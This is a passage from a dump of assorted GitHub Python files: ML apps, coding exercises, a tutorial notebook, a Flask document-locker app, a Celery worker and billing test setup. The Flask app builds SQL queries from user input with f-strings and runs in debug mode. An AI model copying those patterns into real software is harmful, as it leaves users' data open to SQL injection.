 )\n    logger.info(f\"Features shape: {X.shape}\")\n\n    logger.info(f\"Scoring with model\")\n    binary_predictions = make_binary_prediction(model, X, MODEL_CUTOFF)\n\n    return [\n        ModelResponse(id=instance_id, target=prediction)\n        for instance_id, prediction in zip(ids, binary_predictions)\n    ]\n\n\n@app.get(\"/\")\ndef main():\n    return \"Check the '/docs' endpoint to see how to get predictions on your data\"\n\n\n@app.on_event(\"startup\")\ndef load_model():\n\n    logger.info(f\"Loading model components from path: {PATH_TO_MODEL}\")\n    global model\n    global transformers\n    model = load_object(PATH_TO_MODEL + \"classifier\", verbose=False)\n    transformers = load_object(PATH_TO_MODEL + \"transformers\", verbose=False)\n\n\n@app.get(\"/status\")\ndef status() -> bool:\n    return f\"Model is{' not ' if model is None or transformers is None else ' '}ready\"\n\n\n@app.api_route(\"/predict\", response_model=List[ModelResponse], methods=[\"POST\"])\ndef predict(request: List[InputData]):\n\n    for data in request:\n        logger.info(f\"Checking dataframe for model consistency\")\n        is_valid, error_message = check_data_valid(data)\n        if not is_valid:\n            raise HTTPException(status_code=400, detail=error_message)\n    return make_prediction(request, model, transformers)\n\n\nif __name__ == \"__main__\":\n    uvicorn.run(\"app:app\", host=\"0.0.0.0\", port=os.getenv(\"PORT\", 8000))\n","repo_name":"made-ml-in-prod-2021/sashastds","sub_path":"online_inference/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2575,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"3155271200","text":"class Node:\n    def __init__(self,data):\n        self.data = data\n        self.next = None \nclass Solution: \n    def insert(self,head,data):\n            p = Node(data)           \n            if head==None:\n                head=p\n            elif head.next==None:\n                head.next=p\n            else:\n                start=head\n                while(start.next!=None):\n                    start=start.next\n                start.next=p\n            return head  \n    def display(self,head):\n        current = head\n        while current:\n            print(current.data,end=' ')\n            current = current.next\n\n    def removeDuplicates(self,head):\n        #Write your code here\n        if head is None:\n            return head\n        \n        values = []\n        if len(values) == 0:\n            values.append(head.data)\n        cur_head = head    \n        while True:\n            if cur_head.next == None:\n                return head\n            if cur_head.next.data in values:\n                if cur_head.next.next == None:\n                    cur_head.next = None\n                else:\n                    cur_head.next = cur_head.next.next\n            else:\n                values.append(cur_head.next.data)\n                cur_head = cur_head.next\n\nmylist= Solution()","repo_name":"IgnatIvanov/HackerRank","sub_path":"30 Days of Code/Day 24 More Linked Lists/Day 24 More Linked Lists.py","file_name":"Day 24 More Linked Lists.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9035506208","text":"import pytest\n\n@pytest.fixture\ndef example_people_data():\n    return [\n        {\n            \"given_name\": \"Mario\",\n            \"family_name\": \"Balan\",\n            \"title\": \"Mid-Senior Software Engineer\",\n        },\n        {\n            \"given_name\": \"Mariana\",\n            \"family_name\": \"Gigliotti\",\n            \"title\": \"Vice-President of Fun Ops\",\n        },\n    ]\n\ndef test_format_data_for_display(example_people_data):\n    assert format_data_for_display(example_people_data) == [\n        \"Mario Balan: Mid-Senior Software Engineer\",\n        \"Mariana Gigliotti: Vice-President of Fun Ops\",\n    ]\n\ndef test_format_data_for_excel(example_people_data):\n    assert format_data_for_excel(example_people_data) == \"\"\"given,family,title\nMario,Balan,Mid-Senior Software Engineer\nMariana,Gigliotti,Vice-President of Fun Ops\n\"\"\"\n","repo_name":"mario-balan/cookbook","sub_path":"python/testing/fixtures_example.py","file_name":"fixtures_example.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"28226076490","text":"import pandas as pd\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.model_selection import cross_val_score\nfrom gaussian_kernel_utility import *\n\n# Comment the line below if you are not using an M1 (ARM-based) machine\nmatplotlib.use('TkAgg')\n\n\n# Step 1: Selecting k\n\n# Selecting range of k values for the kNN classifier\n# Conclusion from this function: Best range is between 600 and 1000\ndef select_k_range(X, Y):\n    plt.rcParams[\"figure.constrained_layout.use\"] = True\n    mean_error = []\n    std_error = []\n    k_range = [100, 200, 300, 400, 500, 600, 700, 800, 900, 1000, 1100, 1200, 1300, 1400, 1500]\n    for k in k_range:\n        model = KNeighborsClassifier(n_neighbors=k, weights=\"uniform\")\n        scores = cross_val_score(model, X, Y, cv=5, scoring=\"f1\")\n        mean_error.append(np.array(scores).mean())\n        std_error.append(np.array(scores).std())\n    plt.errorbar(k_range, mean_error, yerr=std_error, linewidth=3)\n    plt.xlabel(\"k\")\n    plt.ylabel(\"F1 Score\")\n    plt.title(\"kNN k vs F1 Score (Selecting k-range for CV)\")\n    plt.show()\n\n\n# Cross validation on range of k values selected previously (600 to 1000)\n# Conclusion from this function: Best value for k is 800\ndef choose_k_using_CV(X, Y):\n    mean_error = []\n    std_error = []\n    k_range = [600, 700, 800, 900, 1000]\n    for k in k_range:\n        model = KNeighborsClassifier(n_neighbors=k, weights=\"uniform\")\n        scores = cross_val_score(model, X, Y, cv=5, scoring=\"f1\")\n        mean_error.append(np.array(scores).mean())\n        std_error.append(np.array(scores).std())\n    plt.errorbar(k_range, mean_error, yerr=std_error, linewidth=3)\n    plt.xlabel(\"k\");\n    plt.ylabel(\"F1 Score\")\n    plt.title(\"kNN k vs F1 Score (performing CV)\")\n    plt.show()\n\n\n# Step 2: Selecting gamma (for weights)\n\n# Selecting range of gamma values for the kNN classifier\n# Conclusion from this function: The best range to use CV for gamma is between 10 and 50.\ndef select_kNN_gamma_range_for_CV(X, Y):\n    mean_error = []\n    std_error = []\n    model = KNeighborsClassifier(n_neighbors=800, weights=gaussian_kernel10)\n    scores = cross_val_score(model, X, Y, cv=5, scoring=\"f1\")\n    mean_error.append(np.array(scores).mean())\n    std_error.append(np.array(scores).std())\n    model = KNeighborsClassifier(n_neighbors=800, weights=gaussian_kernel100)\n    scores = cross_val_score(model, X, Y, cv=5, scoring=\"f1\")\n    mean_error.append(np.array(scores).mean())\n    std_error.append(np.array(scores).std())\n    model = KNeighborsClassifier(n_neighbors=800, weights=gaussian_kernel1000)\n    scores = cross_val_score(model, X, Y, cv=5, scoring=\"f1\")\n    mean_error.append(np.array(scores).mean())\n    std_error.append(np.array(scores).std())\n    plt.errorbar([10, 100, 1000], mean_error, yerr=std_error, linewidth=3)\n    plt.xlabel(\"Gamma\")\n    plt.ylabel(\"F1 Score\")\n    plt.title(\"kNN gamma vs F1 Score (Selecting gamma range for CV)\")\n    plt.show()\n\n\n# Cross validation on range of gamma values selected previously (10 to 50)\n# Conclusion from this function: The best value for gamma is 30.\ndef choose_kNN_gamma_using_CV(X, Y):\n    mean_error = []\n    std_error = []\n    model = KNeighborsClassifier(n_neighbors=800, weights=gaussian_kernel10)\n    scores = cross_val_score(model, X, Y, cv=5, scoring=\"f1\")\n    mean_error.append(np.array(scores).mean())\n    std_error.append(np.array(scores).std())\n    model = KNeighborsClassifier(n_neighbors=800, weights=gaussian_kernel30)\n    scores = cross_val_score(model, X, Y, cv=5, scoring=\"f1\")\n    mean_error.append(np.array(scores).mean())\n    std_error.append(np.array(scores).std())\n    model = KNeighborsClassifier(n_neighbors=800, weights=gaussian_kernel50)\n    scores = cross_val_score(model, X, Y, cv=5, scoring=\"f1\")\n    mean_error.append(np.array(scores).mean())\n    std_error.append(np.array(scores).std())\n    plt.errorbar([10, 30, 50], mean_error, yerr=std_error, linewidth=3)\n    plt.xlabel(\"Gamma\")\n    plt.ylabel(\"F1 Score\")\n    plt.title(\"kNN gamma vs F1 Score (performing CV)\")\n    plt.show()\n\n\n# kNN classifier with chosen hyperparameters k=800 & gamma=30 selected via cross-validation\ndef kNN(x_train, y_train):\n    model_knn = KNeighborsClassifier(n_neighbors=800, weights=gaussian_kernel30).fit(x_train, y_train)\n    return model_knn\n\n\nif __name__ == '__main__':\n    df = pd.read_csv('../data/dataset.csv', sep=',', header=0)\n    X = np.column_stack((df['X1'], df['X3'], df['X6'], df['X8'], df['X9'], df['X10']))\n    Y = df['y']\n    select_k_range(X, Y)\n    choose_k_using_CV(X, Y)\n    select_kNN_gamma_range_for_CV(X, Y)\n    choose_kNN_gamma_using_CV(X, Y)\n","repo_name":"saisankp/Spotify-Modality-Predictor","sub_path":"src/kNN.py","file_name":"kNN.py","file_ext":"py","file_size_in_byte":4654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36886289392","text":"# Definition for singly-linked list.\n# class ListNode(object):\n#     def __init__(self, val=0, next=None):\n#         self.val = val\n#         self.next = next\nclass Solution(object):\n    def nextLargerNodes(self, head):\n        \"\"\"\n        :type head: ListNode\n        :rtype: List[int]\n        \"\"\"\n        stack = []\n        result=[]\n        while head:\n            while stack and stack[-1][1] < head.val:\n                result[stack.pop()[0]] = head.val\n            stack.append([len(result), head.val]) \n            result.append(0)  \n            head = head.next\n        return result \n","repo_name":"Tsedeymekonnen/Competitive-Programming","sub_path":"Next Greater Node in Linked List.py","file_name":"Next Greater Node in Linked List.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6422644570","text":"import cv2\nimport  numpy as np\nimport glob\nimport scipy.io as sio\n\nimg_arr = []\ntemp1 = sio.loadmat('/data/Guha/Tour20/Result/ET8.mat')\nsummary = temp1['summary'][0]\nfor i in range(len(summary)):\n    if(summary[i] ==1):\n        #file = glob.('/data/Guha/Tour20/frames/BF6.mp4/frame{}.jpg'.format(i))\n        img = cv2.imread('/data/Guha/Tour20/frames/ET8.mp4/frame{}.jpg'.format(i))\n\n        height, width, layers = img.shape\n        size = (width, height)\n        img_arr.append(img)\n\n#out = cv2.VideoWriter('AW7.mp4',cv2.VideoWriter_fourcc(*'DIVX'), 15, size))\nfourcc = cv2.VideoWriter_fourcc(*'mp4v')\nout = cv2.VideoWriter('ET8.mp4',fourcc, 20.0, size)\n\nfor i in range(len(img_arr)):\n    out.write(img_arr[i])\nout.release()","repo_name":"crazy-bot/FFNet_Deep_Reinforcement_Learning","sub_path":"FFNet_Torch/createVideo.py","file_name":"createVideo.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"6948752154","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\ni = 1\n\ni = i + 1\ni += 1\n\ni = i - 1\ni -= 1\n\ni = i * 1\ni *= 1\n\n\n# In[2]:\n\n\ni -= 1\n\n\n# In[3]:\n\n\nprint(i)\n\n\n# In[4]:\n\n\ncoffee -= 1\n\n\n# In[6]:\n\n\n###########################\n## 클래스\n###########################\n\n\n# In[7]:\n\n\na = 0\nwhile a < 10:\n    a +=1\n    if a % 2 == 0:\n        continue\n    print(a)\n\n\n# In[8]:\n\n\nfor i in range(2, 10):\n    for j in range(1 ,10):\n        print(i*j, end=\" \")\n        \n    print('')\n    \n\n\n# In[9]:\n\n\nresult= 0\n\ndef add(num):\n    global result# 전역 변수 선언\n    result += num # result = result + num\n    return result\n\n\nprint(add(3))\nprint(add(4))\n\n\n# In[10]:\n\n\nprint(add(6))\n\n\n# In[17]:\n\n\nresult1 = 0\nresult2 = 0\ndef add1(num):\n    global result1\n    result1 += num \n    return result1\n\ndef add2(num):\n    global result2\n    result2 += num \n    return result2\n\nprint(add1(3))\nprint(add1(4))\n\n\n\nprint(add2(3))\nprint(add2(4))\n\n\n# In[18]:\n\n\nclass calculater:\n    def __init__(self): # 던더바 이닛\n        self.result = 0\n        \n        \n    def add(self, num):\n        self.result += num\n        return self.result\n    \n    def sub(self, num):\n        self.result -= num\n        return self.result\n\n\n# In[19]:\n\n\ncal1 = calculater()\n\n\n# In[20]:\n\n\ncal2 = calculater()\n\n\n# In[21]:\n\n\nprint(cal1.add(3))\n\n\n# In[22]:\n\n\nprint(cal2.add(4))\n\n\n# In[23]:\n\n\n# 함수를 클라스 안에서 구현하면 매서드 method 라 부른다.\n\nclass fourcal:\n    def __init__(self,first,second): # 던더바 넣으면 setdat 값 지정안해도  자동호출\n        self.first = first\n        self.second = second\n    def setdata(self, first, second): #self는 다른의미가 있다\n        self.first = first\n        self.second = second\n    def add(self):\n        result = self.first + self.second\n        return result\n    def sub(self):\n        result = self.first - self.second\n        return result\n    def mul(self):\n        result = self.first * self.second\n        return result\n    def div(self):\n        result = self.first / self.second\n        return result\n\n\n# In[24]:\n\n\na = fourcal(4, 2)\n\n\n# In[25]:\n\n\nprint(a.first)\n\n\n# In[26]:\n\n\nprint(a.second)\n\n\n# In[27]:\n\n\nb = fourcal()\n\n\n# In[28]:\n\n\nprint(b.first)\n\n\n# In[29]:\n\n\nprint(a.first)\n\n\n# In[30]:\n\n\nid(b.first)\n\n\n# In[31]:\n\n\nid(a.first)\n\n\n# In[32]:\n\n\nprint(div.first)\n\n\n# In[33]:\n\n\na.add()\n\n\n# In[34]:\n\n\na.div()\n\n\n# In[35]:\n\n\na = fourcal(12,222)\n\n\n# In[36]:\n\n\na.add()\n\n\n# In[37]:\n\n\nclass morefourcal(fourcal):\n    pass\n\n\n# In[38]:\n\n\na = morefourcal(4, 2)\n\n\n# In[39]:\n\n\na.add()\n\n\n# In[40]:\n\n\na.sub()\n\n\n# In[41]:\n\n\na  = fourcal(4, 0)\n\n\n# In[42]:\n\n\na.div()\n\n\n# In[43]:\n\n\nclass safefourcal(fourcal):\n    def div(self):\n        if self.second == 0:\n            return 0\n        else:\n            return self.first/ self.second\n\n\n# In[44]:\n\n\na = safefourcal(4, 0)\n\n\n# In[45]:\n\n\na.div()\n\n\n# In[46]:\n\n\nb = safefourcal(4, 2)\n\n\n# In[47]:\n\n\nb.div()\n\n\n# In[48]:\n\n\nclass family:\n    lastname = '김'\n\n\n# In[49]:\n\n\nprint(family.lastname)\n\n\n# In[50]:\n\n\na = lastname()\n\n\n# In[51]:\n\n\ndef add(a, b):\n    return a + b\n\ndef sub(a, b): \n    return a-b\n\n\n# In[ ]:\n\n\n\n\n\n# In[52]:\n\n\nprint(add(3, 4))\n\n\n# In[58]:\n\n\n# 예외처리\n\n\n# In[55]:\n\n\ntry:\n    a = [1, 2]\n    print(a[3])\n    4/0\nexcept ZeroDivisionError:\n    print(\"0으로 나눌수 없습니다\")\nexcept IndexError:\n    print(\"인덱싱 할 수 없습니다\")\n    \n\n\n# In[56]:\n\n\ntry:\n    a = [1, 2]\n    print(a[3])\n    4/0\nexcept (ZeroDivisionError, IndexError) as e:\n    print(e)\n\n\n# In[57]:\n\n\ntry:\n    a =[1, 2]\n    print(a[3])\n    4/0\nexcept (ZeroDivisionError, IndexError) as e:\n    print(e)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"cbok1048/pythonbasic","sub_path":"python 0217.py","file_name":"python 0217.py","file_ext":"py","file_size_in_byte":3587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7233832902","text":"import re\nfrom select import select\nfrom urllib import request\nfrom encrypt import decrypt_file, encrypt_file\nfrom flask  import *\nimport sqlite3\nfrom random import *\nimport base64\nimport requests\nfrom test import digilocker\napp = Flask(__name__)\ndb = sqlite3.connect('database.db',check_same_thread=False)\n\n\n\ndef add_user_to_db(query):\n    cursor = db.cursor()\n    cursor.execute(query)\n    db.commit()\n\ndef validate_users(user,pin):\n    try:\n        if len(user)==10:\n            id = 0\n            query = f'select phone from users'\n            cursor =db.cursor()\n            cursor.execute(query)\n            pins = cursor.fetchall()\n            # if encrypt_file(pin.encode()) == decrypt_file(pins[0][0])\n            for i in pins[0]:\n                if decrypt_file(i[2:-1].encode()).decode() == user:\n                    break\n                else:\n                    id+=1\n            query = f'select password,username,phone from users where phone = \"{pins[0][id]}\"'\n            cursor =db.cursor()\n            cursor.execute(query)\n            pins = cursor.fetchall()  \n            \n            # return pins \n            if decrypt_file(pins[0][0][2:-1].encode()).decode() == pin:\n                user = decrypt_file(pins[0][1][2:-1].encode()).decode()\n                phone = decrypt_file(pins[0][2][2:-1].encode()).decode()\n\n                print(user)\n                return True,user,phone\n            return False,'',''\n    except:\n        return False,'',''   \n\n\n# @app.rou\n\n@app.route('/')\ndef landing():\n    return render_template('index.html')\n\n@app.route('/home/<user>/<phone>')\ndef home(user,phone):\n    data = digilocker(phone[:5],'A')\n    data1 = digilocker(phone[:5],'C')\n    file_=open('static/aadhaar/images/'+data,'rb')\n    file1_=open('static/collegeid/images/'+data1,'rb')\n    data = file_.read()\n    decoded_img = decrypt_file(data)\n    base64_encoded_data = base64.b64encode(decoded_img)\n    base64_message = base64_encoded_data.decode('utf-8')\n    data1 = file1_.read()\n    decoded1_img = decrypt_file(data1)\n    base641_encoded_data = base64.b64encode(decoded1_img)\n    base641_message = base641_encoded_data.decode('utf-8')\n    # print(base64_message)\n    user=user.upper()\n    return render_template('home.html',data=base64_message,user=user,data1=base641_message)\n\n\n@app.route('/signin',methods=['GET','POST'])\ndef signin():\n    if request.method == 'POST':\n        user = request.form['user']\n        pin = request.form['pin']\n        pins,username,mobile = validate_users(user,pin)\n        \n        if pins:\n            return redirect(url_for('home',user=username,phone=mobile))\n        else:\n            return 'Logged In Failed'    \n\n    return render_template('login.html')\n\n@app.route('/signup',methods = ['GET','POST'])\ndef signup():\n    if request.method == 'POST':\n        name = request.form['name']\n        number = request.form['number']\n        pin = request.form['pin']\n\n        name = encrypt_file(name.encode())\n        number = encrypt_file(number.encode())\n        pin = encrypt_file(pin.encode())\n        unid = randint(00000000000,99999999999)\n        query = f'insert into users values(\"{name}\",\"{number}\",\"{unid}\",\"{pin}\")'\n        add_user_to_db(query)\n        return redirect(url_for('signin'))\n        # return f'{name} {number} {pin}'\n\n\n    return render_template('signup.html')\n\nif __name__ == '__main__':\n    app.run(debug=True)","repo_name":"urstrulychetu007/Digilocker","sub_path":"IS/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26194819926","text":"from __future__ import absolute_import\r\n\r\nimport os\r\nfrom dotenv import load_dotenv\r\n\r\nimport asyncio\r\nfrom celery import Celery\r\nfrom celery.schedules import crontab\r\n\r\nfrom services.sender.mailout import MailoutService\r\n\r\nload_dotenv()\r\n\r\ncelery_app = Celery(\r\n    broker=os.environ.get('CELERY_BROKER_URL', 'redis://redis:6379'),\r\n    backend=os.environ.get('CELERY_RESULT_BACKEND', 'redis://redis:6379'),\r\n)\r\n\r\ncelery_app.conf.update(\r\n    task_serializer='json',\r\n    accept_content=['application/json'],\r\n    result_serializer='json',\r\n    beat_schedule={\r\n        'send-messages-scheduled-task': {\r\n            'task': 'services.sender.celery_worker.process_mailouts',\r\n            'schedule': crontab(minute='*/1')\r\n        }\r\n    },\r\n    task_routes={\r\n        'services.sender.celery_worker.process_mailouts': 'main-queue',\r\n        'services.sender.celery_worker.process_mailout': 'main-queue',\r\n    },\r\n)\r\n\r\n\r\n@celery_app.task\r\ndef process_mailouts():\r\n    asyncio.get_event_loop().run_until_complete(MailoutService().process_mailouts())\r\n\r\n\r\n@celery_app.task\r\ndef process_mailout(mailout_id: int):\r\n    asyncio.get_event_loop().run_until_complete(MailoutService().process_mailout(mailout_id))\r\n","repo_name":"kooznitsa/test-projects","sub_path":"mailing_service/api/services/sender/celery_worker.py","file_name":"celery_worker.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29045044307","text":"# coding=utf-8\n__author__ = 'atkaya'\n\nfrom datetime import timedelta, datetime\n\nfrom balance import balance_steps as steps\nfrom btestlib.constants import PersonTypes, Services, Paysyses, Products, User, Firms\nimport balance.balance_db as db\nimport btestlib.utils as utils\n\nLOGIN_WITHOUT_CLIENT = User(1575092862, 'yb-static-balance-5')\nLOGIN_ORDER_PAGE = User(1574407943, 'yb-static-balance-6')\nLOGIN_REPRESENTATIVE = User(1574403204, 'yb-static-representative')\nLOGIN_SETTLEMENTS = User(1347405535, 'yndx-static-balance-21')\nLOGIN_EMPTY = User(1373216401, 'yndx-static-balance-22')\n\n\n# кейсы можно искать по ключу \"КИ\"\n\ndef test_empty_client():\n    client_id = steps.ClientSteps.create()\n    steps.UserSteps.link_user_and_client(LOGIN_EMPTY, client_id)\n\n\n# подготовка данных для страницы представителей representatives.xml в КИ\ndef test_create_objects_for_asessors_representatives_xml():\n    client_id = steps.ClientSteps.create()\n    steps.UserSteps.link_user_and_client(LOGIN_REPRESENTATIVE, client_id)\n    db.balance().execute('UPDATE t_passport SET is_main=1 WHERE passport_id=1574403204')\n    db.balance().execute(\n        'UPDATE t_passport SET gecos=null, email=null, login=null, client_id=:client_id WHERE passport_id=1253955001',\n        {'client_id': client_id})\n    db.balance().execute(\n        \"UPDATE t_passport  SET gecos='Иванов Иван Иванович', email='yes@11слонят.ип', login='yes@11слонят.ип', client_id=:client_id WHERE passport_id=1253963727\",\n        {'client_id': client_id})\n    if not db.balance().execute('SELECT id FROM t_role_client_user WHERE passport_id=1253985017 AND role_id=100'):\n        db.balance().execute('INSERT INTO t_role_client_user(role_id, passport_id) VALUES (100,1253985017)')\n    db.balance().execute('UPDATE t_role_client_user SET client_id=:client_id WHERE PASSPORT_ID=1253985017',\n                         {'client_id': client_id})\n\n\ndef test_order_consumes_pagination():\n    client_id = steps.ClientSteps.create({'NAME': ''})\n    steps.UserSteps.link_user_and_client(LOGIN_ORDER_PAGE, client_id)\n\n    person_id_1 = steps.PersonSteps.create(client_id, PersonTypes.UR.code)\n    dt = datetime.now()\n\n    # оплаченный и заакченный заказ по директу\n    service_order_id = steps.OrderSteps.next_id(service_id=Services.DIRECT.id)\n\n    order_id = steps.OrderSteps.create(client_id=client_id, service_order_id=service_order_id,\n                                       product_id=Products.DIRECT_FISH.id,\n                                       service_id=Services.DIRECT.id,\n                                       params={'Text': u'Тестовый заказ Директ'})\n\n    for i in range(1, 15):\n        orders_list = [\n            {'ServiceID': Services.DIRECT.id, 'ServiceOrderID': service_order_id, 'Qty': 10 * i, 'BeginDT': dt}\n        ]\n        request_id = steps.RequestSteps.create(client_id=client_id, orders_list=orders_list,\n                                               additional_params=dict(InvoiceDesireDT=dt))\n        invoice_id, _, _ = steps.InvoiceSteps.create(request_id=request_id, person_id=person_id_1,\n                                                     paysys_id=Paysyses.BANK_UR_RUB.id,\n                                                     credit=0, contract_id=None, overdraft=0, endbuyer_id=None)\n        steps.InvoiceSteps.pay(invoice_id, payment_dt=dt)\n    steps.CampaignsSteps.do_campaigns(Services.DIRECT.id, service_order_id, {'Bucks': 1050}, 0)\n    steps.ActsSteps.generate(client_id)\n\n\ndef test_settlements():\n    client_id = steps.ClientSteps.create()\n    steps.UserSteps.link_user_and_client(LOGIN_SETTLEMENTS, client_id)\n\n    person_ph_id = steps.PersonSteps.create(client_id, PersonTypes.PH.code,\n                                            {'fname': u'тестовое',\n                                             'lname': u'физ',\n                                             'mname': u'лицо',\n                                             'email': 'test-ph@balance.ru',\n                                             'inn': '7865109488'})\n    person_ur_1_id = steps.PersonSteps.create(client_id, PersonTypes.UR.code,\n                                              {'name': u'тестовое юр лицо номер один',\n                                               'email': 'test-ur-1@balance.ru',\n                                               'inn': '7833208341'})\n\n    # задаем овердрафт для директа\n    steps.OverdraftSteps.set_force_overdraft(client_id, Services.DIRECT.id, 1000000, firm_id=Firms.YANDEX_1.id)\n\n    # выставляем предоплатный счет на Директ\n    service_order_id_1 = steps.OrderSteps.next_id(Services.DIRECT.id)\n    steps.OrderSteps.create(client_id, service_order_id_1, product_id=Products.DIRECT_FISH.id,\n                            service_id=Services.DIRECT.id)\n    orders_list_1 = [{'ServiceID': Services.DIRECT.id, 'ServiceOrderID': service_order_id_1, 'Qty': 35}]\n    request_id_1 = steps.RequestSteps.create(client_id, orders_list_1,\n                                             additional_params=dict(InvoiceDesireDT=datetime(2020, 3, 1)))\n    invoice_id_1, _, _ = steps.InvoiceSteps.create(request_id_1, person_ph_id, Paysyses.CC_PH_RUB.id, credit=0,\n                                                   overdraft=0)\n    steps.InvoiceSteps.pay_fair(invoice_id_1)\n    steps.CampaignsSteps.do_campaigns(Services.DIRECT.id, service_order_id_1, {'Bucks': 35}, 0)\n    steps.ActsSteps.generate(client_id, force=1)\n\n    # выставляем овердрафтный счет на Директ, оплачен, заакчен (два акта, две оплаты)\n    service_order_id_2 = steps.OrderSteps.next_id(Services.DIRECT.id)\n    steps.OrderSteps.create(client_id, service_order_id_2, product_id=Products.DIRECT_FISH.id,\n                            service_id=Services.DIRECT.id)\n    orders_list_2 = [{'ServiceID': Services.DIRECT.id, 'ServiceOrderID': service_order_id_2, 'Qty': 80}]\n    request_id_2 = steps.RequestSteps.create(client_id, orders_list_2)\n    invoice_id_2, _, _ = steps.InvoiceSteps.create(request_id_2, person_ph_id, Paysyses.BANK_PH_RUB.id, credit=0,\n                                                   overdraft=1)\n    steps.CampaignsSteps.do_campaigns(Services.DIRECT.id, service_order_id_2, {'Bucks': 50.12}, 0)\n    steps.ActsSteps.generate(client_id, force=1)\n    steps.CampaignsSteps.do_campaigns(Services.DIRECT.id, service_order_id_2, {'Bucks': 80}, 0)\n    steps.ActsSteps.generate(client_id, force=1)\n    steps.InvoiceSteps.pay_fair(invoice_id_2, payment_sum=2000.3)\n    steps.InvoiceSteps.pay_fair(invoice_id_2, payment_sum=399.7)\n\n    # выставляем предоплатный счет на Медийку, оплачен, без актов\n    service_order_id_4 = steps.OrderSteps.next_id(Services.MEDIA_70.id)\n    steps.OrderSteps.create(client_id, service_order_id_4, product_id=Products.MEDIA.id,\n                            service_id=Services.MEDIA_70.id)\n    orders_list_4 = [{'ServiceID': Services.MEDIA_70.id, 'ServiceOrderID': service_order_id_4, 'Qty': 100}]\n    request_id_4 = steps.RequestSteps.create(client_id, orders_list_4,\n                                             additional_params=dict(InvoiceDesireDT=datetime(2020, 1, 1)))\n    invoice_id_4, _, _ = steps.InvoiceSteps.create(request_id_4, person_ph_id, Paysyses.BANK_PH_RUB.id, credit=0,\n                                                   overdraft=0)\n    steps.InvoiceSteps.pay_fair(invoice_id_4, payment_dt=datetime(2020, 2, 1), payment_sum=-16.2)\n    db.balance().execute('update t_invoice set receipt_dt = :dt where id = :invoice_id', {\n        'dt': datetime(2020, 2, 1),\n        'invoice_id': invoice_id_4})\n\n    # создаем постоплатный договор с новым ЛС\n    contract_type = 'no_agency_post'\n    NOW = datetime.now()\n    to_iso = utils.Date.date_to_iso_format\n    HALF_YEAR_AFTER_NOW_ISO = to_iso(NOW + timedelta(days=180))\n    HALF_YEAR_BEFORE_NOW_ISO = to_iso(NOW - timedelta(days=180))\n    contract_new_pa_id, _ = steps.ContractSteps.create_contract(contract_type, {'CLIENT_ID': client_id,\n                                                                                'PERSON_ID': person_ur_1_id,\n                                                                                'EXTERNAL_ID': '5577/20-pa-new',\n                                                                                'DT': HALF_YEAR_BEFORE_NOW_ISO,\n                                                                                'FINISH_DT': HALF_YEAR_AFTER_NOW_ISO,\n                                                                                'IS_SIGNED': HALF_YEAR_BEFORE_NOW_ISO,\n                                                                                'SERVICES': [Services.DIRECT.id],\n                                                                                'FIRM': Firms.YANDEX_1.id,\n                                                                                'PERSONAL_ACCOUNT_FICTIVE': 1})\n\n    # новый ЛС + ы счет по договору\n    service_order_id_10 = steps.OrderSteps.next_id(Services.DIRECT.id)\n    steps.OrderSteps.create(client_id, service_order_id_10, product_id=Products.DIRECT_FISH.id,\n                            service_id=Services.DIRECT.id)\n    orders_list_10 = [{'ServiceID': Services.DIRECT.id, 'ServiceOrderID': service_order_id_10, 'Qty': 239}]\n    request_id_10 = steps.RequestSteps.create(client_id, orders_list_10)\n    invoice_id_10, _, _ = steps.InvoiceSteps.create(request_id_10, person_ur_1_id, Paysyses.BANK_UR_RUB.id, credit=1,\n                                                    overdraft=0,\n                                                    contract_id=contract_new_pa_id)\n    steps.CampaignsSteps.do_campaigns(Services.DIRECT.id, service_order_id_10, {'Bucks': 239}, 0)\n    steps.ActsSteps.generate(client_id, force=1)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/balance_tests/assessors/test_post_restore_assessors_data.py","file_name":"test_post_restore_assessors_data.py","file_ext":"py","file_size_in_byte":10056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22058624721","text":"import openpyxl\nimport yaml\n\n\nclass ReportWithdrawal:\n    config_path = \"/path_to/config.yaml\"\n    config_withdrawal = \"/path_to/withdrawal.yaml\"\n\n    def __init__(self):\n        # get settings from config.yaml\n        with open(self.config_path, \"r\") as file:\n            data = yaml.safe_load(file)\n            columns = data[\"ozon\"][\"settings\"][\"columns\"]\n            self.id_column = columns[\"id\"]\n            self.vendor_code_column = columns[\"vendor_code\"]\n            self.size_column = columns[\"size\"]\n            self.cis_column = columns[\"cis\"]\n            self.sending_id_column = columns[\"sending_id\"]\n            self.sale_price_column = columns[\"sale_price\"]\n            self.payroll_column = columns[\"payroll\"]\n            self.act_of_sale_id_column = columns[\"act_of_sale_id\"]\n            self.data_sale_column = columns[\"data_sale\"]\n            self.act_of_return_id_column = columns[\"act_of_return_id\"]\n            self.data_return_column = columns[\"data_return\"]\n\n        # get settings from withdrawal.yaml\n        with open(self.config_withdrawal, \"r\") as file:\n            data = yaml.safe_load(file)\n            withdrawal_settings = data[\"ozon\"][\"withdrawal\"]\n            self.inn = str(withdrawal_settings[\"inn\"])\n            self.document_path = 